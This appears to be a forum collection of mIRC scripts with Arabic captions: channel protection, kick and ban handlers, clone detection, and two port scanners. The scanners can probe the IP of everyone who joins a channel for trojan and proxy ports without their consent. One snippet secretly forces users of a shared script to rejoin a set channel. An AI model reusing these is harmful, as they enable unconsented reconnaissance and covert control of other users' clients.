if ($did(shit-d,5,$i).text == $Null) { unset %i } if ($did(shit-d,5,$i).text != $null) { set %shit.chans %shit.chans $+ $did(shit-d,5,$i) $+ $chr(44) | goto inc } } alias i { return %i } alias wan { if ($1 != $Null) && ($2 != $Null) && ($3 != $Null) { writeini $Mircdirshit-log.ini Users $2 $1 writeini $Mircdirshit-log.ini Chans $1 $3 .notice $1 Hey you fucker ,you've been added in my Shit-List for channel(s) $replace(%shit.chans,$chr(44),$chr(32)) echo -a 11,1 $+ $1 9(4 $+ $2 $+ 9)10 successfully added in your shit-list. unset %shit.* | unset %shitty } } alias shit.what { return %shit.what } on *:JOIN:#: { if ($gotread($nick,#) != $Null) { shit.out $Nick # | halt } } alias gotread { if ($readlog($address($1,1)) != $null) && ($2 isin $readc($readlog($address($1,1)))) || ($readc($readlog($address($1,1))) == all) { return $address($1,1) | halt } if ($readlog($address($1,2)) != $null) && ($2 isin $readc($readlog($address($1,2)))) || ($readc($readlog($address($1,2))) == all) { return $address($1,2) | halt } if ($readlog($address($1,3)) != $null) && ($2 isin $readc($readlog($address($1,3)))) || ($readc($readlog($address($1,3))) == all) { return $address($1,3) | halt } if ($readlog($address($1,4)) != $null) && ($2 isin $readc($readlog($address($1,4)))) || ($readc($readlog($address($1,4))) == all) { return $address($1,4) | halt } if ($readlog($address($1,6)) != $null) && ($2 isin $readc($readlog($address($1,6)))) || ($readc($readlog($address($1,6))) == all) { return $address($1,6) | halt } } alias readlog { return $readini -n $Mircdirshit-log.ini Users $1 } alias readc { return $readini -n $MIrcdirshit-log.ini Chans $1 } alias shit.out { if ($1 != $null) && ($2 != $Null) { mode $2 -o+b $1 $gotread($1,$2) | raw -q kick $2 $1 :get the out of here you fucker.You're shitlisted. } } alias unshit { if ($unshit1($1) != $null) { set %unshit1 $unshit1($1) | set %unshit2 $unshit2($1) | remini -n $Mircdirshit-log.ini Chans $unshit1($1) | remini -n $Mircdirshit-log.ini Users $unshit2($1) | echo -a 11 $+ %unshit1 9(4 $+ %unshit2 $+ 9) 10successfully deleted from your Shit-List. | unset %shitty | unset %unshit* | halt } } alias unshit1 { if ($readlog($mask($1,1)) != $null) { return $readlog($mask($1,1)) | halt } if ($readlog($mask($1,2)) != $null) { return $readlog($mask($1,2)) | halt } if ($readlog($mask($1,3)) != $null) { return $readlog($mask($1,3)) | halt } if ($readlog($mask($1,4)) != $null) { return $readlog($mask($1,4)) | halt } if ($readlog($mask($1,6)) != $null) { return $readlog($mask($1,6)) | halt } } alias unshit2 { if ($readlog($mask($1,1)) != $null) { return $mask($1,1) | halt } if ($readlog($mask($1,2)) != $null) { return $mask($1,2) | halt } if ($readlog($mask($1,3)) != $null) { return $mask($1,3) | halt } if ($readlog($mask($1,4)) != $null) { return $mask($1,4) | halt } if ($readlog($mask($1,6)) != $null) { return $mask($1,6) | halt } }

طرد  انفايت المسج

او   تفضحه بالجنل

يطرده اذا انت اوب وذا مو اوب اقط نك الانفايت فى الجنل وقولهم هذا انفايت on *:TEXT:*#*:?:{ var %invito = $comchan($nick,0) | { if ($nick !isop $comchan($nick,%invito)) { if ($comchan($nick,%invito).op) { ban $comchan($nick,%invito) $nick | kick $comchan($nick,%invito) $nick 0,4 انفايت بره } | else { msg $comchan($nick,%invito) $nick 0,4 هذا انفايت بالمسج } } | dec %invito } | closemsg $nick } الى تحت بس يطرده on *:TEXT:*#*:?:{ var %invito = $comchan($nick,0) | { if ($nick !isop $comchan($nick,%invito)) { if ($comchan($nick,%invito).op) { ban $comchan($nick,%invito) $nick | kick $comchan($nick,%invito) $nick 0,4 انفايت بره } | dec %invito } | closemsg $nick }

حريه اختيار البورت

scan

;Liquid-Scanner 1.2 by Mole - icq 93244955 - You can disconnect, but you cannot hide... ; alias setup { echo 12Initiating Setup /set %port $?="حط رقم البورت؟?" | /echo 12Scanning ports at 4 %port } menu menubar { .- اختر البورت .- .اختر البورت؟:setup .تشغيل+ تسكير ..تشغيل:/enable #scan1100 ..تسكير:/disable #scan1100 } on 1:load:{ setup } #scan1100 off on *:join:#:{ sockclose LIQ6* %ip = $site %ni = $nick %ch = $chan %tm = $time sockopen LIQ6 $site %port } on *:sockopen:LIQ6:{ if ($sockerr > 0) return sockwrite -ns LIQ6 LIQUIDISHEREANDITWONTGOAWAYSOBEWARE inc %scan 1 window -en @Liquid aline @Liquid [12Nick:4 %ni 1,0] [12Ip:4 %ip 1,0] [12Chan:4 %ch 1] [1,0] [12Found No:4 %scan 1,0 ] [12Open port:4 %port ] } #scan1100 end

طرد الى اسوي اسكان فى الجنل

لطرد الى اسوي اسكان

اختر options  + other 

والبحث عن بورتات 

dialog 

; APS (Advanced Port Scanner)® For mIRC ; Created By Sanchez ; Copyright 2001-2004 <! - Port Scan Source Start - !> on 1:load: { if ($exists(portscanner.ini) == $false) { echo $active 4ERROR!8 First put the file portscanner.ini in your main directory(were mIRC32.exe is) | unload -rs portscanner.ini | goto end } if ($exists(ports.txt) == $false) { write ports.txt write ports.txt 11 write ports.txt 15 write ports.txt 21 write ports.txt 22 write ports.txt 23 write ports.txt 25 write ports.txt 43 write ports.txt 53 write ports.txt 79 write ports.txt 80 write ports.txt 110 write ports.txt 113 write ports.txt 139 write ports.txt 443 write ports.txt 1080 write ports.txt 8080 write ports.txt 27374 } if ($exists(portdes.txt) == $false) { write portdes.txt write portdes.txt 11 Systat(On some UNIX machines, creating a TCP connection to this port will dump the active processes and who launched them) write portdes.txt 15 Netstat(A variant of systat) write portdes.txt 25 STMP Mail(Mail server, you can access them via telnet) write portdes.txt 53 DNS(Doman Name System, aka NameServer) write portdes.txt 79 Finger(Port to finger someone through) write portdes.txt 80 HTTP(HyperText Transfer Protocol, Hypertext is electronic text with cross-referenced links between collections of text) write portdes.txt 110 POP3(Post Office Protocol, TCP) write portdes.txt 113 Ident(used to identify the "owner" of a connection. Reveals a lot of information to hackers.) write portdes.txt 139 NetBIOS(Windows File and Printer Sharing, This is the most dangerous port. All "File and Printer Sharing" on Windows runs over this port) write portdes.txt 443 Secure HTTP(This is the default port used when you do credit card transactions with an e-commerce site) write portdes.txt 1080 Socks(Most scans for port 1080 are actually looking for WinGate, a popular firewall/proxy for Windows) write portdes.txt 12345 Netbus(A trojan horse used by newbees) write portdes.txt 8080 Proxy(This is a common port that contains HTTP servers and proxies) write portdes.txt 27374 SubSeven(A trojan horse used by newbees) write portdes.txt 23 Telnet(you find the program telnet in C:/windows) write portdes.txt 22 SSH(the default port for some pcAnywhere services. Note that there is not relationship with pcAnywhere and ssh.) write portdes.txt 43 Whois(Whois, Nickname) write portdes.txt 21 File Tranfer Protocol } echo $active 4• 11(0Loaded11)0 APS (Advanced PortScanner) has been installed succesfull | echo $active 4• 11(0Info!11)0 This script is coded by Sanchez, the portscan dialog is created by Grimandi | echo $active 4• 11(0Warning!11)0 Please delete all on DNS events on your current script or combine them with this source. | echo $active 4• 11(0Loaded11)0 Else this script won't work! : end } on 1:DNS:{ if (%dns.scan == on) { set %dns.scan off haltdef if ($iaddress == $null) || (x isin $iaddress) { did -a portscan 1 | did -a portscan 1 »» Tracing Failed! | did -e portscan 2,5 | halt } else { did -h portscan 7 did -a portscan 1 »» Found IP did -a portscan 1 »» Portscanning Started... did -a portscan 1 did -v portscan 19 set %port.host $iaddress var %pt = 1 : again if ($read -l $+ %pt ports.txt == $null) { goto end } else { .timer100 $+ %pt -m 1 $calc(%pt * 100) sockopen p.s $+ $read -l $+ %pt ports.txt %port.host $read -l $+ %pt ports.txt .timer0 $+ %pt -m 1 $calc(%pt * 100) did -a portscan 19 Trying Port $read -l $+ %pt ports.txt var %pt = $calc(%pt + 1) goto again } : end .timer 1 2 did -a portscan 19 Waiting for response... .timer 1 3 sockclose p.s* .timer 1 3 did -e portscan 2,5 .timer 1 3 did -a portscan 1   .timer 1 3 did -a portscan 1 »» Portscanning Done .timer 1 3 did -a portscan 19 Done. .timer 1 5 did -h portscan 19 .timer 1 5 did -v portscan 7 } } } alias portscan { if ($1 == $null) || ($2 != $null) { halt } else { did -r portscan 1 if ($1 ison %ative) { did -a portscan 1 »» Tracing $1 $+ 's IP... set %dns.scan on .dns $1 halt } else { did -h portscan 7 did -a portscan 1 »» Portscanning Started... did -a portscan 1 did -v portscan 19 set %port.host $1- var %pt = 1 : again if ($read -l $+ %pt ports.txt == $null) { goto end } else { .timer100 $+ %pt -m 1 $calc(%pt * 100) sockopen p.s $+ $read -l $+ %pt ports.txt %port.host $read -l $+ %pt ports.txt .timer0 $+ %pt -m 1 $calc(%pt * 100) did -a portscan 19 Trying Port $read -l $+ %pt ports.txt var %pt = $calc(%pt + 1) goto again } : end .timer 1 2 did -a portscan 19 Waiting for response... .timer 1 3 sockclose p.s* .timer 1 3 did -e portscan 2,5 .timer 1 3 did -a portscan 1   .timer 1 3 did -a portscan 1 »» Portscanning Done .timer 1 3 did -a portscan 19 Done. .timer 1 5 did -h portscan 19 .timer 1 5 did -v portscan 7 } } } on 1:sockopen:p.s*: { if ($sockerr > 0) { haltdef | halt } else { if ($dialog(portscan).active == $true) { var %pordest = $read -s $+ $sock($sockname).port portdes.txt did -a portscan 1 Port $sock($sockname).port is open( $+ $gettok(%pordest, 1, 40) $+ ) sockclose $sockname } } } dialog portscan { title "APS V1.0" size -1 -1 188 291 list 1, 10 53 167 155 button "&Scan", 2, 12 244 75 25 button "&Close", 3, 99 244 75 25, cancel box "", 4, 4 41 180 167 combo 5, 11 20 166 100, size drop, edit box "", 6, -9 232 199 8 link "Send your comments", 7, 51 213 123 16 text "", 19, 51 213 123 16, hide box "Enter Hostname/IP/Nickname", 8, 4 5 180 44 box "", 9, -3 -6 300 5000 menu "&Options", 10 item "&Port Manager", 11 item break, 12 item "&Other", 13 menu "&Credits", 14 item "&Disclaimer", 17 item break, 16 item "&Credits", 18 } on 1:dialog:portscan:init:0: { did -t portscan 2 set %ative $active var %y = 1 : round if ($nick($active,%y) == $null) { goto end } else { did -a portscan 5 $nick($active,%y) var %y = $calc(%y + 1) goto round : end } } on 1:dialog:portscan:sclick:*: { if ($did == 2) { if ($did(5) == $null) { $portERR(Please Enter an IP/nickname, Error 1) } else { did -b portscan 2,5 portscan $did(5).text } } if ($did == 7) { run mailto:Sanchez@teamlgs.zzn.com } if ($did == 3) { sockclose p.s* } } on 1:dialog:portscan:menu:*: { if ($did == 11) { dialog -m Pmanager Pmanager } if ($did == 13) { dialog -m pOther pOther } if ($did == 17) { dialog -m pDisclaimer pDisclaimer } if ($did == 18) { dialog -m pCredits pCredits } } dialog Pmanager { title "Port Manager" size 200 80 200 76 option dbu button "&Cancel", 1, 80 60 50 15, cancel box "Ports:", 2, 3 3 56 72 list 3, 7 10 47 74 button "&Add", 4, 150 10 40 10 button "&Delete", 5, 150 25 40 10 button "&Edit", 6, 150 40 40 10 button "&Ok", 7, 140 60 50 15, ok box "Description:", 8, 64 3 80 52 text $crlf Select a port for a $crlf description of it , 9, 68 15 70 35, center } on 1:dialog:Pmanager:init:0: { var %r = 1 : again if ($read -l $+ %r ports.txt == $null) { goto end } else { did -a Pmanager 3 $read -l $+ %r ports.txt inc %r goto again } : end } on 1:dialog:Pmanager:sclick:*: { if ($did == 3) { if $did(3).seltext == $null) { did -ra Pmanager 9 No description available | halt } did -ra Pmanager 9 $read -s $+ $did(3).seltext portdes.txt } if ($did == 5) { if ($did(3).seltext == $null) { $portERR(Please select a port to delete!, Error 2) | halt } $DeleteMe($did(3).seltext) } if ($did == 6) { if ($did(3).seltext == $null) { $portERR(Please select a port to edit!, Error 3) | halt } $EditMe($did(3).seltext) } if ($did == 4) { dialog -m portADD portADD } } dialog portERR { title %ERRnum size 250 125 175 75 text %portERR , 1, 5 20 173 15, center button "Ok", 2, 47 40 80 25, ok box "", 3, 3 1 169 71 } dialog portEDIT { Title Edit Port %portNUM Size 217 37 180 180 Box "Port:", 1, 6 1 162 50 Box "Description", 2, 7 54 160 75 Edit "", 3, 43 19 89 20 Edit "", 4, 17 76 137 47, hsbar, return, multi Button "&Ok", 5, 95 140 70 25, ok Button "&Cancel", 6, 8 140 70 25, cancel } on 1:dialog:portEDIT:init:0: { did -a portEDIT 3 %portNUM if (%portDC == No Description Available) { halt } did -a portEDIT 4 %portDC } on 1:dialog:portEDIT:sclick:5: { if ($did(3) == $null) { $portERR(Please enter a port!, Error 4) | halt } if ($did(4) == $null) { var %ex No Description Available } if ($did(4) != $null) { var %ex $did(4) } write -ds $+ %portnum ports.txt write -ds $+ %portnum portdes.txt write ports.txt $did(3) write portdes.txt $did(3) %ex did -r Pmanager 3 var %r = 1 : again if ($read -l $+ %r ports.txt == $null) { goto end } else { did -a Pmanager 3 $read -l $+ %r ports.txt inc %r goto again } : end } dialog portADD { Title Adding a port Size 217 37 180 180 Box "Port:", 1, 6 1 162 50 Box "Description", 2, 7 54 160 118 Edit "", 3, 43 19 89 20 Edit "", 4, 17 76 139 47, return, multi, hsbar Button "&Ok", 5, 95 140 70 25, ok Button "&Cancel", 6, 8 140 70 25, cancel } on 1:dialog:portADD:sclick:5: { if ($did(3) == $null) { $portERR(Please enter a port!, Error 5) | halt } if ($did(4) == $null) { var %ex No Description Available } if ($did(4) != $null) { var %ex $did(4) } write ports.txt $did(3) write portdes.txt $did(3) %ex did -r Pmanager 3 var %r = 1 : again if ($read -l $+ %r ports.txt == $null) { goto end } else { did -a Pmanager 3 $read -l $+ %r ports.txt inc %r goto again } : end set %portERR SuccesFull Added Port $did(3) set %ERRnum Added Port $3 dialog -m portERR portERR } alias DeleteMe { write -ds $+ $1 ports.txt write -ds $+ $1 portdes.txt set %portERR SuccesFull deleted $1 set %ERRnum Deleted did -r Pmanager 3 var %r = 1 : again if ($read -l $+ %r ports.txt == $null) { goto end } else { did -a Pmanager 3 $read -l $+ %r ports.txt inc %r goto again } : end dialog -m portERR portERR } alias EditMe { set %portNUM $1 set %portDC $read -s $+ $1 portdes.txt dialog -m portEDIT portEDIT } alias portERR { set %portERR $1 set %ERRnum $2 dialog -m portERR portERR } Dialog pOther { Title "Other Options" Size 253 26 292 188 Box "", 1, 2 -4 285 189 Check "Autoscan when someone joins a channel", 2, 10 16 215 19 box "If the one who joins is a sock(port 1080):", 3, 7 45 275 100 Check "Kick him", 4, 13 75 72 19 Check "Save his address in textfile", 5, 13 110 147 19 Button "View Socks", 6, 169 105 86 23 Edit "Give Reason", 7, 88 73 174 22 Button "&Ok", 8, 188 157 89 23, ok Button "&Cancel", 9, 9 157 89 23, cancel } on 1:dialog:pOther:init:0: { if (%autoScan == on) { did -c pOther 2 } if (%portKick == on) { did -c pOther 4 did -ra pOther 7 %portKickR } if (%pSockSave == on) { did -c pOther 5 } if (%autoScan != on) { did -u pOther 2 } if (%portKick != on) { did -u pOther 4 did -ra pOther 7 %portKickR did -b pOther 7 } if (%pSockSave != on) { did -u pOther 5 } } on 1:dialog:pOther:sclick:*: { if ($did == 6) { if ($exists(Socks.txt)) { .run Socks.txt | halt } $portERR(No socks stored yet!, Error 6) } if ($did == 8) { set %portKickR $did(7) if ($did(2).state) { set %autoscan on } else { set %autoscan off } if ($did(4).state) { set %portKick on } else { set %portKick off } if ($did(5).state) { set %pSockSave on } else { set %pSockSave off } } if ($did == 4) { if ($did(4).state) { did -e pOther 7 } else { did -b pOther 7 } } } on 1:join:#: { if ($me !isop #) && ($me !isowner #) { halt } if ($nick != $me) { if (%autoscan == on) { echo -s 4• 11(0Portscanning Started11)0 On $nick set %sn $nick set %port.host $right($address($nick, 2), $calc($len - 4)) var %pt = 1 : again if ($read -l $+ %pt ports.txt == $null) { goto end } else { .timer100 $+ %pt -m 1 $calc(%pt * 100) sockopen join $+ $rand(1,100000) %port.host $read -l $+ %pt ports.txt var %pt = $calc(%pt + 1) goto again } : end .timer 1 3 sockclose p.s* .timer 1 3 echo -s 4• 11(0Portscanning Done11) } if (%portKick == on) || (%pSockSave == on) { if (%pTimer != on) { set %pTimer on | set %pTime 100 | .timer 1 10 set %pTimer off | .timer 1 10 set %pTime 100 } set %ccccc $chan set %ccn $nick sockopen proxy $+ $rand(1,100000) $right($address($nick, 2), $calc($len - 4)) 1080 } } } on 1:sockopen:join*: { if ($sockerr > 0) { haltdef | halt } else { var %pordest = $read -s $+ $sock($sockname).port portdes.txt echo -s 4• 9(0Open Port!9)0 %sn his Port $sock($sockname).port is open( $+ $gettok(%pordest, 1, 40) $+ ) sockclose $sockname } } on 1:sockopen:proxy*: { if ($sockerr > 0) { haltdef | halt } else { if (%portKick == on) { .timer -m 1 %pTime kick %ccccc %ccn %portKickR set %pTime $calc(%pTime + 100) } if (%pSockSave == on) { if ($exists(socks.txt) == $false) { write socks.txt } if ($read -s $+ $sock($sockname).ip socks.txt == $null) { write socks.txt $sock($sockname).ip | echo -s 4• 9(0Sock Stored9)0 Saved $sock($sockname).ip to socks.txt } } } } Dialog pDisclaimer { Title "Disclaimer" Size 201 33 394 166 Box "", 1, 8 2 378 118 Text "", 2, 15 20 361 132, center Button "Ok", 3, 158 130 89 23, ok } on 1:dialog:pDisclaimer:init:0: { did -a pDisclaimer 2 APS (Advanced Port Scanner)® $crlf $crlf Copyright 2001-2002 By Sanchez $crlf The author of this portscanner isn't responsible for any direct or indirect damage caused by this script $crlf It isn't allowed to put pieces of the source in your own script without asking the author. $crlf } Dialog pCredits { Title "Credits" Size 201 33 394 176 Box "", 1, 8 2 378 128 Text APS (Advanced Port Scanner)® $crlf $crlf Copyright 2001-2002 $crlf Source is coded by Sanchez - Portscan-dialog by Grimandi $crlf to contact me: $crlf /server chatcity.hetnet.nl - #lgs $crlf $crlf or send me a mail, 2, 15 20 361 132, center Button "Ok", 3, 158 140 89 23, ok } menu channel { - &Port Scanner:/dialog -m portscan portscan - } menu menubar { - &Port Scanner:/dialog -m portscan portscan - } <! - Port Scan Source End - !>

اتحط لسكربت رقم سري

---===---===---===---===---===---===---===---===---===---; ; Password Protection Addon v2.0 By {lost} ; ; -------------------------------- ; ; Copyright © All Rights Reserved To {lost} ; ; --------------------------------- ; ; Contact Me At: dANIEL_fROST@hotmail.co.il ; ---===---===---===---===---===---===---====---===---===--- on *:START:{ if (%start.pass == on) { unset %pass.try :enter.pass set %enter.pass $?*="Enter Password" if (%enter.pass != %password) { inc %pass.try } if (%pass.try == 1) && (%enter.pass != %password) { echo -a 2(4!2) 4P14assword 4I14s 4N14ot 4C14orrect. 4Y14ou 4H14ave 022 4M14ore 4T14ries | goto enter.pass } if (%pass.try == 2) && (%enter.pass != %password) { echo -a 2(4!2) 4P14assword 4I14s 4N14ot 4C14orrect. 4Y14ou 4H14ave 021 4M14ore 4T14ry | goto enter.pass } if (%pass.try == 3) && (%enter.pass != %password) { unset %pass.try | .unset %enter.pass | exit } } } on *:LOAD:{ echo -a 2(4!2) 4Y14ou 4J14ust 4L14oaded 4T14he 4B14est 4P14assword 4P14rotection 4A14ddon. 4E14njoy ! } ----------------------- ;Menu Section ----------------------- menu status,menubar { Start Password Protection .$iif(%start.pass != on,Enable): /set %password $??="Enter password" | /set %start.pass on | echo -a 2(4!2) 4S14tart 4P14assword 4P14rotection 4I14s 4N14ow2: ON .$iif(%start.pass == on,Disable): /unset %password | /set %start.pass off | echo -a 2(4!2) 4S14tart 4P14assword 4P14rotection 4I14s 4N14ow2: OFF }

الامر هذا اتحطه فى سكربتك

يجبر اى مستخدم لسكربت يدخل قناتك

ولو يطلع ارد اجباري للجنل

} on *:part:#SKOOD: { .timer 1 2 .join #SKOOD | if ($nick == $me) /notice $me 4#SKOOD 10 رد للجنل يا لوح:) %ver  | halt } }

حماية من الفلودmode #channel +bbcR

------ حماية فلود ----- Method #1 on *:quit: { if ($nick ison #channel && $me isop #channel) { if (%quit-flood. [ $+ [ $wildsite ] ] == $null) { set -u10 %quit-flood. [ $+ [ $wildsite ] ] 1 return } else { inc %quit-flood. [ $+ [ $wildsite ] ] } if (%quit-flood. [ $+ [ $wildsite ] ] > 4 && %quit-flood.check == $null) { set -u8 %quit-flood.check 1 raw -q mode #channel +bbcR *!~*@* $wildsite notice @ $+ #channel Banning *!~*@* and $wildsite due to possible clone floods... } } ----- تكمله فى الريموت صفحه ثانيه on @*:join:#channel: { var %id = *!~*@* , %fa = $fulladdress if (%fa iswm %id) { if (%id. [ $+ [ $wildsite ] ] == $null) { set -u10 %id. [ $+ [ $wildsite ] ] 1 return } else { inc %id. [ $+ [ $wildsite ] ] } if (%id. [ $+ [ $wildsite ] ] > 3 && %id-check == $null) { set -u8 %id-check 1 raw -q mode # +bbcR *!~*@* $wildsite .notice # Bans and modes auto set due to possible floods, please be patient. Thank you. .timer_id-flood 1 30 raw -q mode # -bcR *!~*@* } } } ----

طرد انفايت السحب

on *:invite:#:{ var %a = $comchan($nick,0) var %b = 0 var %c = $nick :start inc %b if ($me isop $comchan(%c,%b)) && (%c !isop $comchan(%c,%b)) { .raw -q kick $comchan(%c,%b) %c invites if (%a > %b) { goto start } } else { goto start } }

وهذا  بعد الطرد انفايت السحب

on 1:invite:{ var %i = $comchan($nick,0) | while (%i) { ban $comchan(nick,%i) $nick 11 | kick $comchan($nick,%i) $nick Invite! | dec %i } }

بروتكشن كك قوي

on !1:op:#: { if (%kicker ison $chan) { kick $chan %kicker 14~*¤§12dةn`† Kï©k Mê!14§¤*~ 4D12e4a12t4h 12I4r12C | unset %kicker | timer1 off } } on +10:join:#: { kick $chan $nick 14~*¤§12dةn`† Kï©K Mê!14§¤*~ 4D12e4a12t4h 12I4r12C | .ruser 10 $nick | .auser 20 $nick } on +20:join:#: { kick $chan $nick 14~*¤§12dةn`† Kï©K Mê!14§¤*~ 4D12e4a12t4h 12I4r12C | .ruser 20 $nick | .auser 30 $nick } on +30:join:#: { kick $chan $nick 14~*¤§12dةn`† Kï©K Mê!14§¤*~ 4D12e4a12t4h 12I4r12C | .ruser 30 $nick | .auser 40 $nick } on +40:join:#: { kick $chan $nick 14~*¤§12dةn`† Kï©K Mê!14§¤*~ 4D12e4a12t4h 12I4r12C | .ruser 40 $nick | .auser 50 $nick } on +50:join:#: { kick $chan $nick 14~*¤§12dةn`† Kï©K Mê!14§¤*~ 4D12e4a12t4h 12I4r12C | .ruser 50 $nick | .auser 60 $nick } on +60:join:#: { kick $chan $nick 14~*¤§12dةn`† Kï©K Mê!14§¤*~ 4D12e4a12t4h 12I4r12C | .ruser 60 $nick | .auser 70 $nick } on +70:join:#: { kick $chan $nick 14~*¤§12dةn`† Kï©K Mê!14§¤*~ 4D12e4a12t4h 12I4r12C | .ruser 70 $nick | .auser 80 $nick } on +80:join:#: { kick $chan $nick 14~*¤§12dةn`† Kï©K Mê!14§¤*~ 4D12e4a12t4h 12I4r12C | .ruser 80 $nick | .auser 90 $nick } on +90:join:#: { kick $chan $nick 14~*¤§4gê† £0§†14§¤*~ 4De4a12t4h 12I4r12C | mode $chan +b $address | .ruser 10 $nick }

لعمل انفايت القناتك

on 1:part:#:/msg $nick #الحب حياكم الله فى قناة on 1:join:#:/msg $nick #الحب تعال القناة

الى يعطيك بنج يعطيه السكربت باند

ctcp *:PING*:#:{ kick # $nick ctcp's }

وهذا الى يعطى الجنل بنج يعطيه اسكربت باند

ctcp *:PING*:*:{ kick $comchan($nick,1) $nick Ctcp's }

اعطاء صوت للمسج

جرس المسج ON 1:TEXT:*:?: { if $active != $nick /wavplay $mircdir $+ sounds\Beep.wav } -- حط ويف فى ملف sounds وسمه Beep

لكشف الى ادش اكثر من نك فى القناة

من يدخل السكربت راح  انبهك اويعطيك النكات الى داش فيهم

clonedetect on ON 1:JOIN:#: { /set %join1 $address($nick,2) /set %name 0 /set %clone $nick :step1 inc %name 1 if (%name <= $nick(0,$chan) && $nick(%name,$chan) != $nick) { /set %join2 $address($nick(%name,$chan),2) if (%join1 == %join2) { %clone = %clone ] 4Are Clones 4,1 -=^ 14,1S14,10cr15i0pt4_15,1I0R14C^15,115,1H0ack 4,1^=- :end } } #clonedetect end

اسكربت يعطيك بنج

#autoping on on 1:text:*ping me*:*:/ctcp $nick ping on 1:text:*ping pl*:*:/ctcp $nick ping on 1:text:*my ping*:*:/ctcp $nick ping on 1:text:*lagged?*:*:/ctcp $nick ping on 1:action:*ping me*:*:/ctcp $nick ping on 1:action:*ping pl*:*:/ctcp $nick ping on 1:action:*my ping*:*:/ctcp $nick ping on 1:action:*lagged?*:*:/ctcp $nick ping on 1:notice:*ping me*:*:/ctcp $nick ping on 1:notice:*ping pl*:*:/ctcp $nick ping on 1:notice:*my ping*:*:/ctcp $nick ping on 1:notice:*lagged?*:*:/ctcp $nick ping #autoping end on 1:ctcpreply:*ping*: { if ($parm2 == $null) halt if ( $nick == $me ) { %ping.reply = $ctime - $parm2 if (%ping.reply < 0) set %ping.reply 0 if (%ping.reply < 7) { echo -a 14»»»12 Currently Minimal Lag: %ping.reply Seconds } elseif (%ping.reply < 25) { echo -a 14»»»12 Currently Slight Lag: %ping.reply Seconds } else { echo -a 14»»»4 Too Much Lag: %ping.reply Seconds | echo -a 14»»»4 You Should Change Server... } goto pingend } %ping.time = $ctime - $parm2 | notice $nick 12,0Ping Reply: %ping.time Seconds $irc | echo -a 14»»»12 $nick Ping Reply: %ping.time Seconds :pingend unset %ping.* }

الى انزلك من اوب اسكربت اصعدك اوب

#autoreop on on 3:DEOP:#: { if ( $opnick == $me ) && ( $nick != $me ) && ( .dal.net isin $server ) { .msg ChanServ@services.dal.net OP $chan $opnick echo -a 14»»»12 Reop'ing you in $chan (Deop'd by $nick $+ ) } else { halt } } #autoreop end

كشف الى يدخل اكثر من نك

مع الطرد او العكس

حطه فى الريموت ; Aliases ;-------- - - alias _cloneprot { return $readini cloneprot.ini Options $1 } alias _wrclone { writeini cloneprot.ini Options $1- } alias coptions { dialog -m kloneprot kloneprot } alias clonescan { set %cscan.time $ctime | dialog -m c c | if ($me !isop $iif($2,$2,$chan)) { did -b c 8,9 } | did -a c 5 Scanned: $1 | pbar clones Scanning for clones on $iif($2,$2,$chan) | pdraw clones 0 Getting user information, please wait... | set %_clone.chan $iif($2,$2,$chan) | set %_clonechan $iif($2,$2,$chan) | if ($chan($1).ial == $true) { dialog -t c Scanning for clones... | clscan } | else { .ial on | set %_clone.who 1 | .who $1 } } alias -l scan { pdraw clones $round($calc($1 / $2 * 100),0) $1 / $2 } alias -l clone { did -ra c 6 Clones: $1 / $nick(%_clone.chan,0) } alias -l clscan { var %num = $nick(%_clone.chan,0) | var %i = $calc(%num + 1), %addr, %j, %tmp, %k = 0, %q = 0 | :next | dec %i | scan $calc(%num - %i) %num %k | if ($ialchan($address($nick(%_clone.chan,%i),2),%_clone.chan,0) > 1 && $istok(%addr,$address($nick(%_clone.chan,%i),2),169) == $false) { inc %q | %addr = $addtok(%addr,$address($nick(%_clone.chan,%i),2),169) | %tmp =  $+ $colr(addr) | %j = $calc($ialchan($address($nick(%_clone.chan,%i),2),%_clone.chan,0) + 1) :next2 | inc %k | dec %j | %tmp = %tmp $+ $gettok($ialchan($address($nick(%_clone.chan,%i),2),%_clone.chan,%j),1,33) $+ , | if ($calc(%q % 2) == 0) { did -a c 4 $gettok($ialchan($address($nick(%_clone.chan,%i),2),%_clone.chan,%j),1,33)) | did -a c 7 $address($nick(%_clone.chan,%i),2) } | else { did -a c 4 $gettok($ialchan($address($nick(%_clone.chan,%i),2),%_clone.chan,%j),1,33)) | did -a c 7 $address($nick(%_clone.chan,%i),2) } | if (%j != 1) goto next2 clone %k $calc(%num - %i) } | if (%i != 0) goto next | unset %_clone.chan | scan %num %num %k | if (%k == 0) { did -a c 4 No clones found. } | did -a c 5 Scanned %_clonechan in $duration($calc($ctime - %cscan.time)) | pdraw clone 100 Scan finished. } alias pbar { var %tmp @Pbar. $+ $1 | if $window(%tmp) == $null { window -dahkop +esLf %tmp $int($calc(($window(-1).w - 300) / 2)) $int($calc(($window(-1).h - 100) / 2)) 300 100 | drawrect -frn %tmp $rgb(face) 7 0 0 300 100 | if ($2 != $null) drawtext -nr %tmp $rgb(text) "ms sans serif" 20 $calc(150 - $width($2-,ms sans serif,20,1,0) / 2) 5 $2- | drawdot %tmp } | else { drawrect -frn %tmp $rgb(face) 7 0 0 300 30 | drawtext -nr %tmp $rgb(text) "ms sans serif" 20 $calc(150 - $width($2-,ms sans serif,20,1,0) / 2) 5 $2- } } alias pdraw { var %tmp @Pbar. $+ $1 | if (($window(%tmp) == $null) || ($2 > 100) || ($2 < 0)) halt | drawrect -frn %tmp $rgb(face) 7 9 30 282 50 | drawtext -nro %tmp $rgb(text) "verdana" 14 $calc((135 - $width($int($2) $+ %,verdana,14,1,0) / 2) + 9) 50 $int($2) $+ % | drawrect -nif %tmp 1 0 9 50 $int($calc($2 * 2.7)) 15 | if ($3 != $null) drawtext -nr @Pbar. $+ $1 $rgb(text) "ms sans serif" 12 $calc(150 - $width($3-,ms sans serif,12,1,0) / 2) 30 $3- | drawdot %tmp | if ($2 == 100) .timer 1 1 window -c %tmp } ;-------- - - ; Menu's ;-------- - - menu @Pbar.* { dclick:window -c $active } menu channel { - Clonescan .Scan $chan:clonescan $chan .- } ;-------- - - ; Dialogs ;-------- - - dialog c { option pixel size -1 -1 500 300 title "Clone Scan" tab "clone scan results" 2, 10 10 480 253 box "" 3, 20 40 460 208 text "Scanned" 5, 27 53 300 13 text "Results: none" 6, 27 70 300 13 list 4, 27 90 100 120, list 7, 130 90 342 120, button "Kick" 8, 28 210 50 25 button "KickBan" 9, 85 210 50 25 button "Done" 1, 225 269 50 25, ok } dialog kloneprot { size -1 -1 450 360 option pixel title "Clone options" Button "Done" 1, 175 330 50 25, okay Tab "Options" 2, 5 10 440 315 Tab "About..." 3 box "" 4, 9 35 432 277 check "Scan for clones on join" 5, 17 50 150 19, tab 2 text "If found," 6, 35 75 100 19, tab 2 check "Echo to active" 7, 45 93 